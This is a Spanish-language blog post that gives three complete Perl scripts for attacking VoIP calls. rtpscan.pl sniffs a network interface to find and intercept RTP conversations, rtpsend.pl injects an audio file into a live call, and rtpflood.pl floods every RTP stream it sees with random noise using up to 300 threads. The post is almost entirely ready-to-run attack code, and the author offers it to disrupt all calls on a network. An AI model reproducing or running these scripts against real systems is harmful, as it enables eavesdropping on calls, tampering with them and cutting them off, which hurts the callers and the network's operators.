Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme) y bueno, esta vez toca hablar sobre VoIP.
No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.
Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.
En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.
Comencemos …
rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:
#!/usr/bin/perl # Pepelux <pepelux[at]gmail[dot]com> # # based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz use strict; use Net::Pcap; use Getopt::Long; my @src ; my @dst ; # Do no buffering - flushing output directly $|=1; #declaration of functions sub f_probe_pcapinit; sub f_probe_read80211b_func; sub f_probe_ctrl_c; # Declarations of global variables my $g_pcap_err = '' ; my $interface = '' ; my $g_cap_descrip ; # Trapping Signal "INT" like ctrl+c for cleanup first. $SIG {INT} = \ &f_probe_ctrl_c ; sub init() { if ($^O =~ /Win/) { system ( "cls" );} else { system ( "clear" );} # check params my $result = GetOptions ( "i=s" => \ $interface ); help() if ( $interface eq "" ); f_probe_pcapinit; } sub f_probe_pcapinit{ if ( $g_cap_descrip = Net::Pcap::open_live( $interface ,2000,0,1000,\ $g_pcap_err )) { # Initiate endless packet gathering. Net::Pcap::loop( $g_cap_descrip , -1, \ &f_probe_read80211b_func , '' ); } else { print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n" ; exit ; } }; sub f_probe_read80211b_func { my ( $data , $header , $packet ) = @_ ; $data = unpack ( 'H*' , $packet ); if (isrtp( $data ) && proto( $data ) eq "17" ) { my $new = 1; my $codec = codec( $data ); my $ipsrc = ipsrc( $data ); my $ipdst = ipdst( $data ); my $portsrc = portsrc( $data ); my $portdst = portdst( $data ); for ( my $i = 0; $i <= $#src ; $i ++) { $new = 0 if (( $src [ $i ] eq $ipsrc . ":" . $portsrc ) && ( $dst [ $i ] eq $ipdst . ":" . $portdst )); $new = 0 if (( $src [ $i ] eq $ipdst . ":" . $portdst ) && ( $dst [ $i ] eq $ipsrc . ":" . $portsrc )); } if ( $new eq 1) { print "Protocol: UDP\n" ; print "Codec : GSM\n" if ( $codec eq "3" ); print "Codec : G.711 (u-law)\n" if ( $codec eq "0" ); print "Codec : G.711 (a-law)\n" if ( $codec eq "201" || $codec eq "136" ); print "Codec : Speex\n" if ( $codec eq "225" ); print "Codec : $codec (desconocido)\n" if ( $codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225" ); print "IP 1 : $ipsrc:$portsrc\n" ; print "IP 2 : $ipdst:$portdst\n" ; push @src , $ipsrc . ":" . $portsrc ; push @dst , $ipdst . ":" . $portdst ; } } }; sub ipsrc { my $data = shift ; $data = substr ( $data , 52, 8); my $v1 = hex ( substr ( $data , 0 , 2)); my $v2 = hex ( substr ( $data , 2 , 2)); my $v3 = hex ( substr ( $data , 4 , 2)); my $v4 = hex ( substr ( $data , 6 , 2)); return $v1 . "." . $v2 . "." . $v3 . "." . $v4 ; }; sub ipdst { my $data = shift ; $data = substr ( $data , 60, 8); my $v1 = hex ( substr ( $data , 0 , 2)); my $v2 = hex ( substr ( $data , 2 , 2)); my $v3 = hex ( substr ( $data , 4 , 2)); my $v4 = hex ( substr ( $data , 6 , 2)); return $v1 . "." . $v2 . "." . $v3 . "." . $v4 ; }; sub portsrc { my $data = shift ; $data = substr ( $data , 68, 4); return hex ( $data ); }; sub portdst { my $data = shift ; $data = substr ( $data , 72, 4); return hex ( $data ); }; sub proto { my $data = shift ; $data = substr ( $data , 46, 2); return hex ( $data ); }; sub isrtp { my $data = shift ; $data = substr ( $data , 84, 2); return 1 if ( $data eq "80" ); return 0; }; sub codec { my $data = shift ; $data = substr ( $data , 86, 2); return hex ( $data ); }; sub f_probe_ctrl_c { # Checks if there is a open pcap handle and closes it first. if ( $g_cap_descrip ) { Net::Pcap:: close ( $g_cap_descrip ); print "\nClosed the pcap allready, the program exits now.\n" ; } }; sub help { print qq{ Usage: $0 -i <interface> } ; exit 1; } init(); |
rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):
#!/usr/bin/perl use Net::RTP; use Time::HiRes qw/ usleep / ; use strict; my $DEFAULT_PORT = 5004; # Default RTP port my $DEFAULT_TTL = 2; # Default Time-to-live my $PAYLOAD_TYPE = 0; # u-law my $PAYLOAD_SIZE = 160; # 160 samples per packet # Get the command line parameters my ( $filename , $address , $port , $ttl ) = @ARGV ; usage() unless ( defined $filename ); usage() unless ( defined $address ); $port = $DEFAULT_PORT unless ( defined $port ); $ttl = $DEFAULT_TTL unless ( defined $ttl ); print "Input Filename: $filename\n" ; print "Remote Address: $address\n" ; print "Remote Port: $port\n" ; print "Multicast TTL: $ttl\n" ; print "Payload type: $PAYLOAD_TYPE\n" ; print "Payload size: $PAYLOAD_SIZE bytes\n" ; # Create RTP socket my $rtp = new Net::RTP( PeerPort => $port , PeerAddr => $address , ) || die "Failed to create RTP socket: $!" ; # Set the TTL if ( $rtp ->superclass() =~ /Multicast/) { $rtp ->mcast_ttl( $ttl ); } # Create RTP packet my $packet = new Net::RTP::Packet(); $packet ->payload_type( $PAYLOAD_TYPE ); while (1) { # Open the input file (via sox) open (PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |" ) or die "Failed to open input file: $!" ; my $data ; while ( my $read = read ( PCMU, $data , $PAYLOAD_SIZE ) ) { # Set payload, and increment sequence number and timestamp $packet ->payload( $data ); $packet ->seq_num_increment(); $packet ->timestamp_increment( $PAYLOAD_SIZE ); my $sent = $rtp -> send ( $packet ); #print "Sent $sent bytes.\n"; # This isn't a very good way of timing it # but it kinda works usleep( 1000000 * $PAYLOAD_SIZE / 8000 ); } close ( PCMU ); } sub usage { print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n" ; exit -1; } |
Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:
#!/usr/bin/perl # Pepelux <pepelux[at]gmail[dot]com> # # based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/ # and # remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz use strict; use Net::Pcap; use threads; use threads::shared; use Net::RTP; use Time::HiRes qw/ usleep / ; use Getopt::Long; my @src ; my @dst ; my $PAYLOAD_SIZE = 160; my $ttl = 2; my $maxthreads = 300; my $threads : shared = 0; my $interface = '' ; my $v = 0; my $g_pcap_err = '' ; my $g_cap_descrip ; sub init() { if ($^O =~ /Win/) { system ( "cls" );} else { system ( "clear" );} # check params my $result = GetOptions ( "i=s" => \ $interface , "v+" => \ $v ); help() if ( $interface eq "" ); if ( $g_cap_descrip = Net::Pcap::open_live( $interface , 2000, 0, 1000, \ $g_pcap_err )) { Net::Pcap::loop( $g_cap_descrip , -1, \ &f_probe_read80211b_func , '' ); } else { print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err." ; print "\nAre you root?\n" ; exit ; } } sub f_probe_read80211b_func { my ( $data , $header , $packet ) = @_ ; $data = unpack ( 'H*' , $packet ); if (isrtp( $data ) && proto( $data ) eq "17" ) { my $codec = codec( $data ); my $ipsrc = ipsrc( $data ); my $ipdst = ipdst( $data ); my $portsrc = portsrc( $data ); my $portdst = portdst( $data ); if ( $threads <= $maxthreads ) { my $thr = threads->new(\ &flood , $ipsrc , $portsrc , $codec ); $thr ->detach(); $thr = threads->new(\ &flood , $ipdst , $portdst , $codec ); $thr ->detach(); } } }; sub flood { my $address = shift ; my $port = shift ; my $payload = shift ; { lock ( $threads ); $threads ++;} if ( $v eq "1" ) { print "Flooding host: $address \tPort: $port/UDP \tCodec: " ; print "GSM \n" if ( $payload eq "3" ); print "G.711 \n" if ( $payload eq "0" ); } # Create RTP socket my $rtp = new Net::RTP( PeerPort => $port , PeerAddr => $address , ) || die "Failed to create RTP socket: $!" ; # Set the TTL if ( $rtp ->superclass() =~ /Multicast/) { $rtp ->mcast_ttl( $ttl ); } # Create RTP packet my $packet = new Net::RTP::Packet(); $packet ->payload_type( $payload ); for ( my $i = 0; $i < 100; $i ++) { my $data ; for ( my $i = 0; $i < $PAYLOAD_SIZE ; $i ++) { my $rnd = rand (255); $data .= hex ( $rnd ); } $packet ->payload( $data ); $packet ->seq_num_increment(); $packet ->timestamp_increment( $PAYLOAD_SIZE ); $rtp -> send ( $packet ); close ( PCMU ); } { lock ( $threads ); $threads --;} } sub ipsrc { my $data = shift ; $data = substr ( $data , 52, 8); my $v1 = hex ( substr ( $data , 0 , 2)); my $v2 = hex ( substr ( $data , 2 , 2)); my $v3 = hex ( substr ( $data , 4 , 2)); my $v4 = hex ( substr ( $data , 6 , 2)); return $v1 . "." . $v2 . "." . $v3 . "." . $v4 ; }; sub ipdst { my $data = shift ; $data = substr ( $data , 60, 8); my $v1 = hex ( substr ( $data , 0 , 2)); my $v2 = hex ( substr ( $data , 2 , 2)); my $v3 = hex ( substr ( $data , 4 , 2)); my $v4 = hex ( substr ( $data , 6 , 2)); return $v1 . "." . $v2 . "." . $v3 . "." . $v4 ; }; sub portsrc { my $data = shift ; $data = substr ( $data , 68, 4); return hex ( $data ); }; sub portdst { my $data = shift ; $data = substr ( $data , 72, 4); return hex ( $data ); }; sub proto { my $data = shift ; $data = substr ( $data , 46, 2); return hex ( $data ); }; sub isrtp { my $data = shift ; $data = substr ( $data , 84, 2); return 1 if ( $data eq "80" ); return 0; }; sub codec { my $data = shift ; $data = substr ( $data , 86, 2); return hex ( $data ); }; sub help { print qq{ Usage: $0 -i <interface> [options] == Options == -v = Verbose mode == Examples == \$$0 -i eth0 \$$0 -i wlan0 -v } ; exit 1; } init(); |
El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.
Saludos